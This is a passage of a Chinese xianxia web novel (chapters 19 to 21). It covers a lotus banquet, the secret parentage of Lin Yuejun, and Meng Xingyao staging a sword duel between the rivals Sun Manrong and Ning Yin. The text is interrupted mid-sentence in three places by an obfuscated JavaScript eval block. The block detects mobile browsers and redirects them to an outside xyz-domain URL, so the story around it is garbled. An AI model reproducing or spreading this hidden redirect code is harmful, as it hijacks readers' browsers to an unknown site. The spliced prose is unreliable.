众人讶然,一片赞叹鼓掌,随后纷纷举杯相敬。 场上夸赞之声不绝于耳,有夸危梦之登封神君,威名赫赫,有夸宋云扬年轻有为,前途无量,也有夸赞顾玄明教徒有方,诲人不倦。 最后归为一句总结,我们归明仙府、清衡山、三十六宗以及东荒西三洲,真真是前途无量。 虽然听得耳朵起老茧,但仍是非常令人受用。 这次品莲会受邀而来的有许多三十六宗门的宗主和长老,以及模范弟子。 众人皆知宋云扬也是出身飞雪。 孙常德同觉脸上有光,陪大家夸赞完后,立马拿着酒杯来套近乎:“云扬啊,后生可畏,表舅敬你一杯。” 顾玄明身旁坐着的少年,虽然年轻,但气质出尘,坐姿挺拔,一如他的名字,扬然如朝阳云霞。 他举杯颔首,腼腆一笑:“谢谢表舅。” 孙常德看了看他,又看了看孙满榕,低声耳语:“你和榕儿的结契之事,也该早点提上日程啊。” “爹,少喝一点酒吧。”孙满榕似乎察觉到他们在聊什么,立刻瞪向这边。 “……”宋云扬笑了笑,点头道,“我知道的。” 顾玄明放下杯子,环顾四周,接话道:“云扬啊,此去围猎,是如何得此机缘的,又有何感悟?正好也说给大家听一听。” 听到他这么说,在场众人也纷纷安静了下来。 当今修炼之道,共分十境,分为煅体、凝神、炼气、筑基、金丹、炼虚、地元、灵窍、玄真、天知十境。 仙门中人为天界办事,不分修为高低,能者居之,可唯有抵达天知境后过了天劫,才可列入仙位,受封职务,而更为出色优异者,才能去太微衡天受封上品仙职。 而在场的众人中,还有不少人未曾见过天劫是何样,因其变幻莫测,人各有异,能多听一次经验,自然是要多听一次。 宋云扬静坐沉思片刻,方才缓慢开口。 19.飞来雪(4) 他的语气缓缓,娓娓道来。 “我运气好,此番天劫,不过一场雷劫,但如何得此机缘,我不敢妄下断言,只道此行却有一事令我豁然开悟。此次领兵去西南夜狩,对方乃是当年天魔之战中遗留的魔修残部,其中有一妖邪,名唤达妲,其身似羊,入魔极深,狡猾邪恶,诡计多端,为祸人间,我们与其交手四次,都讨不得半分好。直到我们围困她一月有余,她弹尽粮绝,现形迎战,但却处处躲避,不肯正面对打。” “待我们斩杀她之后,忽然有一子杀了回来,与我们殊死搏斗,我们这才发现,此妖之前举动只为拖延时间,是为了送走其幼崽,而那幼子澄澈,未修魔道,亦妖力不足,故而不过片刻便独木难支。虽两妖如此挣扎,亦难逃死局,但其母爱子,为之计深远,其子爱母,为之忘生死,妖兽此心,其实,又与人有何分别。” 说到入迷,待话音落下良久,才发觉场下一片静默。 宋云扬怔了一下,随后补了一句:“嗯……我的意思是,妖族能如此长久,皆因其团结,有回报感恩之心,我们修道,也更不该只是为了自己,也当维护安宁,回报亲族、宗门和仙洲人间。或许有此领悟,才会令我得以迎来天劫,圆满突破。” 阳光正好,有停在树梢的灵鹊转动小脑袋,摆动了一下翅膀,从喉咙里发出一声咕噜声。 斑驳的树影轻轻摇晃,落在他的鼻尖,隐去他的目光,令人看不真切。 满座寂静,顾玄明忽而哈哈一笑,鼓掌道:“不错,云扬此感悟,正是我也想说的,有徒如此,我心无忧矣。” 他这话一接,院里顿时又是谈笑风生一片。孙常德跟着鼓了两下掌,又看了一眼孙满榕,那眼神仿佛在说:“跟你表哥多学学。” 孙满榕偏过头,懒得理他,气得他登时吹胡子瞪眼。 见孙常德拿自己毫无办法,孙满榕心中一乐,美酒佳肴也快见了底,这难熬的宴会总算快要过去。 她悄悄抬起头,看见危梦之坐在高处,眉宇间凌厉张扬,俊朗无双,一头青丝如瀑,是她未曾见过的朝气模样。 这是自东曜殿受罚之后她第一次看见他。她一向心比天高,心直口快,而他孤傲淡薄,却又对她分外温柔。 起初她还十分高兴,直到听说风流成性的孔雀王,对长相妍丽貌美的女子皆是如此怜爱。 她难以置信。 最终击垮她的,是他与摇光上仙的旧闻。 没有女子甘愿当谁的替身,更何况是她。故而她急于证明自己,打着为他出气的理由对她针锋相对,多少也有自己的私心。 她以为自己此番出事,他定会明哲保身,却没想到他会为了自己强行出关与孟星遥抗争。 长云峰的师兄师姐们奉命来看过她,她知道他们前来,定有他的授意,心中越发难受。 她这次本不愿来,因为有罚在身,不敢随意来清衡,怕惹祸上身,又给他添上麻烦。 但听闻他飞升成神君,变了模样,终究还是没忍住来见上一面,但见了之后,却越发难过,自己如今这番模样,和长云峰与他,早已是云泥之别。 孙满榕轻轻转动酒杯,抚摸着自己手腕上的监视封印,终于苦闷地喝下了今天第一杯仙酿。 就在此时,走廊处忽然走来几个人影。 孙满榕原本只是想调整心情而转了视线,却不料这一转,直接瞪大了双眼。 她以为自己看错了。 林悦君在仙侍的带领下,翩然踏步而来。 仙府内不同的宗门服饰未有强制规定,以白金调为参考,饰有归明金虎云纹或芍药金绣即可。 飞雪剑宗弟子服虽白金为主,但袖口处渐变成月白配色,淡淡的蓝色莹润如月,除了金虎云纹外,还绣了飞雪门自己的银雪铃兰印。 但同样的衣服,林悦君穿起来和孙满榕却是截然不同的气质,孙满榕张扬高傲,她却和煦宁静,如深秋午后的柔风。 两人分开而论,是绝对联想不到一起的,可如今两人同处一室,这才令人发觉,这两人的轮廓竟然有几分相似。 她走到院中,大大方方地行上一礼:“飞雪剑宗弟子林悦君,拜见各位尊者,因故晚来,心中有愧,还望各位见谅。” 顾玄明笑道:“是这次仙考拿了第三的那位林悦君?原来你就是孙门主的侄女。” “是是。”孙常德连忙应道,“我寻思玄明真君难得举办一次品莲会,便让她也来见识见识这千年睡莲。” “不错,未得亲传,还能取得第三的成绩,前途无量啊。” “多谢真君夸奖。” 院中附和赞叹声一片,孙常德扫了一眼台上几位无动于衷的长老,暗自叹了口气,忍不住问道:“悦君,怎么这次这么晚来,宴会都快要结束了。” 林悦君正欲退下,听到他这么问,又停下了脚步,回道:“请伯父莫怪,我今日在百药宗遇见了尊上,这才耽搁了。” 听见她这么说,众人都有些意外,原本闭目养神的危梦之忽而睁眼,淡淡扫了她一眼。 “我是不是曾见过你。”他说。 林悦君有些惊讶,略一思索后笑着回道:“神君好记性,入学之初,我曾随师长们一起听过仙尊的讲学,我坐于前排,仙尊还曾回过我关于修炼的问题。” 危梦之面无表情地点点头。 孙常德摸着下巴,左瞅瞅,右瞟瞟。他知道玉衡神君好美人,所收徒弟皆对品貌严格要求,尤其雍容美丽者为最爱,林悦君也能勉强达标。 这么一想,他忽然福至心灵,下意识开口道:“神君还能记得悦君,真是令人意外,既然这么有缘分,那看她的资质,是否入得了仙尊的法眼,进得了长云峰啊?” 他这话一出,台下登时交头接耳起来。孙满榕震惊地抬起头看向孙常德,想去扯他的衣袖,却被他暗自甩开。 “爹……?” 顾玄明轻抿了一口仙酿,看一旁的池苒借着扇子挡脸,对着身边的蔺沉光和崔少衡挤眉弄眼,一副看乐子不嫌事大的模样。 还好刚才没开口要人,他想,这孙常德,就知道盯着危梦之,也不先问问其他人。 危梦之轻轻抚了一下琴弦,又打量了一眼林悦君,似乎在思考这个问题。 孙常德见状,对着林悦君使了个眼色,后者微微一笑,正要上前,身后突然传来了一声杯子摔落到地上的声音。 仙门的器皿上了禁制,是摔不坏的,那白釉的杯子弹跳了两下,骨碌碌地滚到了林悦君的脚边。 她弯腰拾起杯子,抬头的时候,映入眼帘的是孙满榕鄙夷又讽刺的笑。 “哎呀,”她说,“手滑了。” 孙常德心中暗觉不妙,正要拦着,又听孙满榕说:“爹爹,长云峰有规定,入门之前需要过神君三道试题,神君即便答应,今日也断不能收徒的,爹爹你如今再如何偏爱我这个所谓的表姐,也不至于太急了,修道、收徒,都讲究一个缘分,不知道的,还以为她才是您亲生女儿呢。” “欲速则不达,这是我学到的道理,希望爹爹也能明白。” 她那个笑容像是嘲讽,又像是在威胁,孙常德觉得自己脑袋突突地疼,干笑两声:“我只是给神君提个建议,该如何做,自当是要看仙尊的意思。” 他瞄向危梦之,台上的神君半倚托腮,正打量着林悦君,不由得心中暗喜。 此时窗外却忽有灵鸟飞来,落于危梦之的肩头。 只一眼,那俊逸漂亮的面容登时变了脸色,危梦之难掩惊喜,匆匆站起身。 “满榕说得有理,此事容后再议吧,玄明,掌门召我有事,先行一步,诸位,请自便。” 话音未落,他拂袖乘风离去,干脆果断,不留半点犹豫。 众人起身先送,面面相觑。孙满榕也很是意外,身旁诸位宗主们的窃窃私语,让她耳朵一动。 “欸,该不会那事是真的吧?” “何事?” “听说天璇仙君已经康复,不日就会回来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808923|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“真的?这可是大喜事。” “唉,是喜是忧不知,只道宗门日后有得热闹了…” “好了,好了,”顾玄明拍了拍手,按下底下的闲言碎语,“诸位,君子慎言,我们还是继续饮酒吧。” 孙满榕又惊又喜,她入门时苏祈月已出事,一直未曾见过这个传说中的师姑,只知道她向来温柔体贴,宽容待人,当年也是她亲手扶持起飞雪剑宗,恩重如山。 她若能回来,那孟星遥想来再不能滥用私权,打压他们。 她很是开心,侧头看向孙常德,难得想同他问问这个师姑的事。 可却见那平日极擅左右逢源,十分注重家门风光的男人这会儿低头不语,正专心抚平他这件专门定做的新衣下摆上的褶子。 他的动作小心翼翼,仿佛是在做一件对他来说,很重要的事。 一场宴会就在后半场微妙的气氛里结束了。 散场的时候,孙满榕突然想起方才坏了孙常德那心怀鬼胎的好事,猛地收起了想同他唠嗑的心思。 她抿着嘴,梗着脖子,保持端坐的姿势一动不动,一副视死如归的模样等着挨训。 奇怪的是孙常德倒是什么也没说,反而对着朝这儿走的宋云扬露出慈祥的笑容。 “云扬啊,若你这会儿没什么事情,不如先送榕儿一块回飞雪吧,她最近刚受过伤,你多陪陪她。” 宋云扬点了点头,但未等他有所表示,孙满榕已经腾地起身,头也不回地先走一步。 孙常德看着她的背影,恨铁不成钢地叹了一口气。此时林悦君也走了过来,温柔得体地微笑道:“宗主,我也去陪一下满榕吧。” “……”孙常德似乎想说什么,但是最终只是抬手一挥,“你去吧,好好陪陪你妹妹,劝一劝她,让她懂点事。” “是。”林悦君乖巧地行了一礼。 清衡山地势宽广,离泽苍山很有一段距离,若无传送符,从丹阳峰回飞雪剑宗,用最快的速度御剑飞行也得有一个时辰。 宋云扬从袖子里取出符咒,便准备送孙满榕回去。 不成想少女转了个身,拦住了他的动作。 “不必送我了。”孙满榕说,“我要去戒律塔了,今天的罚抄还没写完,非要来这一趟,真耽误事。” 归明仙府的门规共有三千七百二十个字,刻于清衡山的流云山道上,是密密麻麻的一面墙。 既然是罚抄,自然也不准用法术,孙满榕这些日子写烂了十根笔头,抄得头昏眼花,耳鸣阵阵,也才堪堪抄完了五百遍。 宋云扬笑了笑,并没有答应的意思:“可是你爹说让我送你回去,我不能不听他的。” “听他的听他的,你这人真无趣,你修为高他这么多,不听他的,他又能如何?他还得求着你办事呢。” “话虽如此,但舅父于我有恩,我自然能帮多帮……” “包括和我结为道侣吗?” 宋云扬被她一下噎住,他看着她,似乎没想好怎么回答,但落在孙满榕的眼里,却化为她的一声讥笑。 她摇了摇头,正要离开,却又听见宋云扬问道:“所以你才要去偷学那大藏心经,这个魁首对你有如此重要吗?” 孙满榕的身影一僵,她回头看了一眼宋云扬,少年人的身姿挺拔如松,算得上一表人才,若不是他从小总是处处压她一头,兴许她也不至于烦他。 两个人一块长大,儿时感情自然不错,她对这个年少成才,又一向懂事得体的天才表兄也很是景仰。 谁知随着年岁变迁,两人竟逐渐变成了族中经常拿来比较的对象。尽管他俩有婚约,不该心存敌对,可她想当那个人们口中的天才,而不是成为一个天才身边的陪衬。 她还未想好如何回答,宋云扬身后便传来了一声温柔似水的声音:“满榕,你要回飞雪的话,我们恰好同路,可以一起回去。” 裙摆交错,莲步翩跹,是林悦君。 她走上前来,对她露出一抹亲切的笑容。 20.飞来雪(5) 孙满榕的表情登时变得一言难尽。 她上下打量了一眼林悦君,没好气地揶揄道:“我当谁来了,原来是不知哪儿来的野种。” “满榕!”宋云扬脸色微变,低声呵斥道。 孙满榕抿了抿嘴,林悦君却依旧是温柔得体的笑容,两厢对峙,最终是孙满榕哼了一声,拂袖道:“不必了,不同路,我自己回去。” 她转身召剑,御风而去,一气呵成,连一个字的时间都不留。 宋云扬想拉她的手停在半空,又悻悻然地收回。他转过头去,正巧对上林悦君的目光。 四下无人,只有风吹动旁边竹叶的沙沙轻响。 “真好,即便是现在修为尽毁,也依旧可以如此耍性子。”林悦君轻声地说,“有时候,我真的很羡慕她。” “……”宋云扬犹豫了一下,语气温柔中又带着客气,问道,“你最近过得可还好?” “如何说呢……”林悦君无奈地笑了笑,“比以前好一点吧,至少我爹私下愿意承认我的身份了。” 宋云扬点点头,像儿时那样,他站在她的跟前低垂着头说,“你看,我没说错吧,只要活着,日子总会越过越好的。” 林悦君颔首,不置可否:“嗯,你说得没错,我准备回去了,再会。” “好,我要回洞府,就不送你了。”宋云扬临走前似乎想起什么,将袖里的符咒递给了她,“我解开过禁制的,你自己用吧,路上小心。” 他离开的动作十分干脆,她抬起头,只捕捉到树荫之下他那一抹背影。 儿时的小男孩,此时已然肩胸宽阔,昂然挺拔,若如他人所期望那般顺遂成长,日后也该是一方大能。 她有一瞬的走神,随后低下头,将那符咒收进了袖里,也转身御剑而去。 他们没有注意到,身后花草密林的光影斑驳处,池苒从树后悄无声息地转了出来。 “啾啾——” 她吹了声口哨,树梢的灵鹊儿打着转,又落到了她的肩头。 “我是没想到,这话本里写个千万遍,都不如现实有意思。真没看出来啊,这几个小辈的感情也这么狗血,居然还是个多角恋。” 池苒抚摸着灵鹊的头,摇摇头,啧啧两声:“她爱他,他爱她,她爱他,加上凄惨的身世,狗血的搭配,这倒是个不错的题材。若是写成话本,想来也能在仙洲大卖。” 灵鹊咕噜一声吃下她喂来的谷子,梳理着自己的羽毛,身上却传来孟星遥的声音:“林悦君看来确实是孙常德的私生女。” “嘿嘿,都说了,我的情报不会有错。”池苒得意一笑,召来祥云,驱之往百药宗。 落地的时候,孟星遥正在翻着一卷书册,灵鹊身上的封印一见她即解除,它绕着她转悠两圈,轻声啼鸣飞去休息了。 “之前说孙常德多年来情债累累,确实非空穴来风。” 飞雪剑宗自创立起,距今已过五代人,祖师爷孙畅凡间商贾出身,资质平平,反而在经营一事上别具天赋。 仙门修士即便看破凡尘,修为通天,但有人的地方总免不了要交易换物,与人间别无不同。 孙畅家产丰厚,又长袖善舞,建宗之后,以诸多灵宝广招门徒志士,而后更是靠的是孙氏一族多方联姻,又兼并了其他没落的宗门,很快便将飞雪剑宗的名声彻底打响。 可飞雪剑宗虽富有,门下弟子也不俗,本家的实力却一般,全赖归明仙府庇护。 孙常德如今三百余岁,才刚到玄真境,已有老相,很着急在血缘亲眷中早点培养出能独当一面的弟子,好成仙后以庇护他氏族的家业。 “没错,他在外树立他和孙夫人夫妻和睦的美谈,骨子里却偷吃成性,除了家里的两个妾室外,还背着孙夫人有过不少风流债。凡人修仙问道本就不易,极其讲究天赋机缘,这些人却还学那些凡间氏族以血脉为纽带捆绑成一个整体,滴水不留于外人,”池苒紧蹙眉头,“说得多了,连自己都信了,那孙满榕的前边,不还有两个养废了的儿子吗?不然这丫头,也不会至今还觉得自己有这般本事,全靠的是自己。” 苏祈月出事后,孟星遥彻底执掌门中实务。彼时内乱之中,原先排行前二的宗门都受到波及,反倒让飞雪剑宗渔翁得利,位居第一。 但这样的宗门,自然如同一只寄生虫。哪怕不为了积攒功德,也不能轻易放过。 孟星遥本就不太看得上以宗族为纽带的飞雪剑宗,又因其骤升高位,一时间难堪大任,名不副实,便逐步分批收回先前授予他们的一些权力和奖赏,如灵石矿带、天材地宝、分管属地等。 可惜,飞雪剑宗已是近千年的宗门,百足之虫,死而不僵,即便被这般对待,也只是屈居第二。 百年后,孙祎退位,他的儿子孙常德继任宗主。 这孙常德实力不济,却和他的祖辈一样十分洞察人心。 他见孟星遥这边是条死路,便继续在其他长老那边猛下功夫,尤其是危梦之和顾玄明等。并且依旧广收门徒,悉心培养,努力将功补过,明面上再挑不出半分错。 在他的运作下,飞雪剑宗有了不少起色,开始脱颖而出。不仅保住了余下的地位,还稳步直上,超过清河道宗,再登清衡山系三十六座仙山的翘首。 而五年前,在地位特殊的云凌城完美解决仙门弟子失踪案一事,让飞雪剑宗更是大放异彩,连一向严苛的孟星遥也无法再挑毛病。 孙满榕能如此嚣张跋扈,确实在情理之中。 “噢对了,林悦君的身世我已经打探到。”池苒说,“她娘是凡间明夜港的一位舞姬,出身落魄,却长相美丽,舞艺出众。孙常德很是喜爱她,还曾为她打造过一处宝珠楼,只不过后来被孙夫人发现,孙夫人以死相逼,这才断了他的念想,没多久,那舞姬便因病去世,十年之后,林悦君带着信物上了门。” “孙夫人不愿意承认,最后是林海出面收留了她,才免了其继续颠沛流离。但也因如此,林悦君在飞雪剑宗一直不得好脸色,饱受孙满榕的欺负。” “如今孙满榕修为尽废,孙夫人和孙常德也因此夫妻不和,林悦君倒是苦尽甘来,出尽风头,也算是天道轮回,报应不爽?” 看来又是一出仙门恩怨私生女复仇的戏码。孟星遥低下头,手中的书册正是林悦君今日交上来的卷子。 她很清楚,她接近她为博名气,能被她这种人青睐有加,对她有着无上帮助。 故而林悦君也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827482|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牢牢抓住这转瞬即逝的机会,勤奋刻苦,每日一有空就来百药宗,背医书,识仙草,己所能及地在她跟前露脸。 但抛开这些不谈,目前看起来,她在岐黄之道上,确实还算有几分天赋。 只可惜太自作聪明,她并不想为人利用,卷进他们的恩恩怨怨。 孟星遥将手中的案卷和医书交与了一旁的白芷,柔声道:“日后她只按寻常弟子对待,愿意学便教,如若心思不在这儿,该如何处置,便如何处置,不必来问我。” 白芷轻声应诺。 “还有,让你去问大藏心经的事,”孟星遥转过头,“可从孙满榕嘴里问出什么?” 池苒一怔,登时瞪大眼睛,一副我忘了的表情。孟星遥乜了她一眼,不急不缓地说道:“门规第三十条,为人子弟,需诚实正直,不得言谎,不得弄虚作假……” “行行行,骗骗你而已,你这人真没劲,”池苒举起双手作投降状,“我是真没问出来,各种法子都试了,她就一口咬定只学了禁地里的那卷,门规又不许我对弟子用私刑,不然我严刑拷打一下,可能还有办法。” “知道了。”孟星遥并不意外,“我猜她也不会承认的。” 她话音未落,外头忽然祥云万千。 五光十色的流星从窗外飞过,但那并不是星子,而是东荒西三洲清衡山座下三十六座仙山的各位掌门与长老们。 为时半月的议会在今天结束,没有特殊情况,他们便各自启程返回自己的宗门,各种灵器与坐骑载着他们离去。 恰逢傍晚,天际落日染就红霞,披与浮云为裳,灵鹤仙气飘渺起,珍奇异宝交相辉映,好一幅神仙美画。 在这群流月飞星之中,忽有两道金色真气霎那穿过层层浮云,激起虹彩万千,众人纷纷驻足,昂首惊叹。 孟星遥行至窗前,恰好看见那两道真气消失在了南边云端。 池苒走到她身边,一同仰头:“掌门他们这趟去南荒,想必该接苏祈月回来了吧?” 孟星遥嗯了一声,没再说话,于情于理,若是接苏祈月回来,怎么都该邀请她这位现任的二掌门同去。 明明她也为救活她费了不少心血。 但大家都很默契地谁都没提这事,就连一向大大咧咧的池苒也都很识趣地沉默起来,她小心翼翼地看了她一眼,轻声问道:“所以,凌远他还是没消息吗?” 孟星遥轻轻抚摸了一下袖中的乾坤袋,那里面,一支名唤“三闲”的狼毫画笔同样静静地躺了三百年。 即便被她以万千灵力施法保存,这忠心的灵器却依旧随着主人离去而逐渐衰弱,不复当年光泽。 她摇了摇头,问道:“孙满榕现在每日还老实呆在飞雪剑宗?” “嗯,对呀,”池苒说,“她其他地方未经允许也去不了,平日里不是去戒律塔罚抄,就是把自己闷在房间里看书,或者修炼、练剑之类的。” “那明日你传讯让她过来,我有话要问她。”孟星遥说,“对了,你把宁音也叫过来吧。” 池苒一脸问号:“你要干嘛,你要看她们打架?” “大禹治水,在疏不在堵。”孟星遥双手环臂,冲她眨眨眼,“我只教一遍,你多学着点。” 21.飞来雪(6) 孙满榕这辈子没这么无语过。 身为仙门大小姐,她的一生在外人看来,总离不开顺风顺水一词,实际她却并不这么认为,日子过得好与不好,开心与烦恼,只有自己知道。 但这前半生再如何冷暖自知,也没遇上过这种情况。 被通知孟星遥让她去池华殿的时候,她反倒轻松了一些,早知孟星遥不会就这样轻易放过她,该来的终于还是来了。 可话虽如此,事到临头,还是免不了心里打鼓。她想过无数种可能发生的场景,但唯独没想过此刻这种画面。 她和宁音面对面坐着,啥也不干,就让她们干打坐。 不儿?这孟星遥有病? 对面的宁音显然也没比她好多少。 只坐了一炷香的时间,她就已经悄咪咪动过七八次,不是悄悄睁眼偷看,就是偷偷扯平衣裳,或者抠抠手,挠挠耳朵,文化点形容,就是如坐针毡。 而且,她的样子明显比她还难受。 孙满榕倒也能理解,毕竟对面坐着一个差点杀了自己的杀人犯,若她是宁音,只怕压根就不会坐下来,进来的一瞬间就会掉头就走。 管你什么孟星遥孟星近的,可以让我死,但不要搞这种羞辱人的戏码。 谁要和自己的宿敌握手言和?真是强人所难,以为在写家和万事兴的话本子吗? 一旁坐着的孟星遥却从容自在许多。 起初她们以为她要发表些什么同门相亲相爱的长篇大论,都打起了十二分的劲准备装死或者反驳,却没想到孟星遥却真的只是单纯在打坐。 有她在,另外两个人也没法说什么,也只得乖乖跟着运功周转。 这么一来就是七天,每天孟星遥都只是把她俩叫过来,运功打坐。 兴许是池华殿灵气充沛的原因,孙满榕甚至觉得自己身上的伤都恢复了不少。 而宁音看上去气色也滋润了许多。 一开始还有些不习惯这样,但时间一久,孙满榕反倒逐渐适应了下来,她毛毛躁躁的脾气也在这样安宁的气氛里缓和了下来。 但另一边的宁音却并不好,她眉头越来越紧蹙,终于有一天没忍住,在孟星遥替她诊疗之后,开了口。 “尊上,请问还要多久,我真的一刻也不想再看见她。” 有趣,孙满榕想,我还没说我不想看见你呢。 “你气血阻塞,胸闷郁结,有口气堵着你,对吗?你们关系不和,她还差点杀了你,你有怨气。” 这不废话吗?孙满榕想,下一刻,她看见孟星遥丢了一把剑给宁音。 那是一柄上好冰玉做的剑,做工精致,花纹繁复,在日光之下,一眼剔透,一眼洁白。 剑身缀着十二颗上好的宝石,剑柄中间一颗鸽子蛋大的蓝玉散发出淡淡幽光,而剑端处刻着两个古朴的文字,上书:“纤阿”。 她像丢大白菜一样丢给了宁音。 “拿剑,捅她。” 有病啊?孙满榕吓了一大跳,立刻竭尽所能结出了护体结界。 虽说两人都修为大损,但宁音好歹有孟星遥及时救治,保养得当,总比她一身烂伤后遗症好多了。两人都竭尽全力的话,她现在还真的讨不了半分好,更别说孟星遥还把本命宝剑纤阿剑给了她。 宁音显然也是吓到了,她一脸不知所措地看着孟星遥,又看了看孙满榕,那把剑就浮空立在她的身边。 她犹豫了很久,还是抬手握住了它,剑尖直指孙满榕。 孙满榕的心拉到了嗓子眼。 但下一刻,宁音又把剑给松开了,她带着委屈叫道:“这不公平,您知道我不会做这种事,但是凭什么她就能毫无负担地伤害我,凭什么!” “我给你机会报仇了。” “但是这样怎么报仇?看似公平,其实根本不公平,我这样子根本动不了手!” 伪君子,孙满榕嘲讽一笑,正在心里乐呵呢,忽然又听到孟星遥道:“既然如此,那孙满榕,你拿剑。” 啊?两人俱是一愣,孙满榕怔了一会儿,难以置信:“我?” “对,怎么,你不是很想杀了宁音吗?讲真的,我这人最不喜当和事佬,也无意评判你俩的是非曲直,调理了这么多天,你们也恢复得差不多,你们俩从入门就开始斗,斗了这么些年,各有各的理。” 孟星遥平静地看着她们两个,手一指,那纤阿剑便飞至场中央,静静地伫立在那里,“那今日我们定个生死局,恩怨一朝清。你们身后的所有事,我都会帮你们处理好,大可安心出手。” 原本微风习习的池华殿静心苑内此刻鸦雀无声,落针可闻。 孙满榕和宁音对视一眼,在后者还在犹豫的时刻,孙满榕已经率先出手,夺过了场中央的纤阿剑。 “这可是你说的。”她道。 废物什么时候都是废物。她冷笑着,体内的灵力随心而动,聚集于右手,又灌入了纤阿剑之中。 那认主的仙剑此刻非常顺从她的意见,她受伤后堪堪金丹境的灵力,却能让它并发出昂然的杀意。 宁音似乎在她夺过仙剑的那一刻就已经认命,她静静地看了一眼孙满榕,然后牵出一缕灵丝,交给了旁边的孟星遥。 “既然如此,那我的遗愿,就交给尊上了。” “你认命了?” “实力悬殊,无法一战,还不如死得坦荡些。”宁音坦然道,“只是有关我的身世,还望尊上能帮我调查清楚,日后烧于我的坟头,也好让我做个明白鬼。” 话音落下,她已经站在孙满榕的跟前,闭上眼,如坦然赴死的人间义士。 孙满榕扬起剑,剑尖割破了宁音的秀发,肌肤,即将割破她血管的刹那,却猛地往后一收,砰地砸入了一旁的柳木里。 宁音错愕地睁开眼。 孙满榕哗啦吐出一口血,她擦了擦,没好气地看向另外两人。 “你们俩合伙玩我是吗,”她骂道,“在这里演戏给谁看?” 孟星遥好笑地问道:“你觉得是演戏,为何不继续动手?” 为何不继续动手? 孙满榕擦干净嘴角的血渍,深吸了一口气,说道:“因为,我从始至终都没有想过要她死。” 她这样说着,手却不自主地颤抖起来,体内的鲜血随着她起伏的心绪和紊乱的真气,如有生命一般沸腾了起来。 气血涌上脑子,她张了嘴想说什么,却咚一下晕了过去。 孟星遥替孙满榕打理好干净的衣衫。 少女褪下清醒时的嚣张跋扈,沉睡的时候,眉目间竟也有几分陌生的柔和。 只是这梦里也似乎并不安生,饶是屋内点了孟星遥特意调制的舒心宁神的熏香,她的眉头也仍旧时不时紧蹙,额头冷汗涔涔,口中不住地呢喃,像是陷入了一场梦魇。 孟星遥的手指点过她几处穴位,最后落于她的手腕,脉搏之中,气虚紊乱,并没有比宁音的好多少。 她将她紧握成拳的手放回被子中,俯身贴近她的唇边,那断断续续的语句,只有一句无比清晰。 “娘……哭有什么用啊……我答应你,我会争气,让爹爹他们都后悔的……” 清衡山的气候四季分明,此时正值秋季,潮湿多雨。雾蒙蒙的雨说来就来,不讲任何道理。 宁音和孟星遥一同走出屋子的时候,外头的雨水正打碎一池浮萍游鱼的静谧。 修士的衣服施了术法,会自动调温、避尘、防雨。但道法自然,无为而治,故而宗门之中除了保卫安全的禁制外,并没有强行布设任何有扰环境的结界。就连池华殿也不例外。 所以未开灵窍的植被走兽即便生活在仙山之上,若无人替它们遮风挡雨,依旧要迎接自然的锻炼捶打。 雨水打落那一池清幽时,宁音忍不住开了口:“尊上,这到底是什么意思啊?她说她不想杀我,那她又为何对我下此狠手?她现在这般伤势,都是因那大藏心经所为吗?” 孟星遥没有回答她这些问题,反问道:“宁音,你是如何与孙满榕结仇的?” 宁音想了一会儿,回道:“我初入清河道宗没多久,在一次宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834138|172938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门切磋之中夺了她的头筹,就被她盯上了。后来我结识了一些同门,跟我关系好的,或多或少都跟她有过龃龉,我性子太直,总忍不住想替他们出头,一来二去就彻底和她结仇了。” “你和林悦君是怎么认识的?” “……我想想,也是百年前,我和孙满榕开始结怨的那场宗门比试,我的木剑临考前突然断了,还是她借给我的。” 提到林悦君,宁音的语气也温柔了很多:“我初入清河,人生地不熟,又资质普通,还好林师姐开导了我,不然我也不会变得主动,能认识这么多志同道合的朋友。” “说来惭愧,我起初知道她也是飞雪剑宗的人时候,我还对她恶言相向,以为她故意接近我,后面她跟我交心时说了她的身世,我才知道她也很可怜,”宁音犹豫了一下,还是摇了摇头,“对不起,尊上,这是她的伤疤,我不方便告诉您,还望您能谅解。只是她身世坎坷,待人又这般好,所以我很是内疚。” “嗯。”孟星遥点点头,“人之常情,我能理解。” “所以她如今越来越厉害,我也很是替她高兴,她最大的愿望就是能被飞雪剑宗的人认可,这么多年过去,看起来也快实现了。” 孟星遥看着她替朋友开心的模样,只是淡淡一笑:“那你呢,你的愿望是什么?” “我的?”宁音被她这突如其来的问题一袭击,愣了一下,似乎有些忐忑,努力回想了一下,方才开口道,“其实我也不知道,我在柳城长大,时常梦见识海里的那处场景,儿时有路过的仙长说我有灵根,但当时生活窘迫,便没当回事,养父母因病逝世后,我对尘世了无牵挂,就入了老家的道观,想知道梦里的到底是什么地方。” 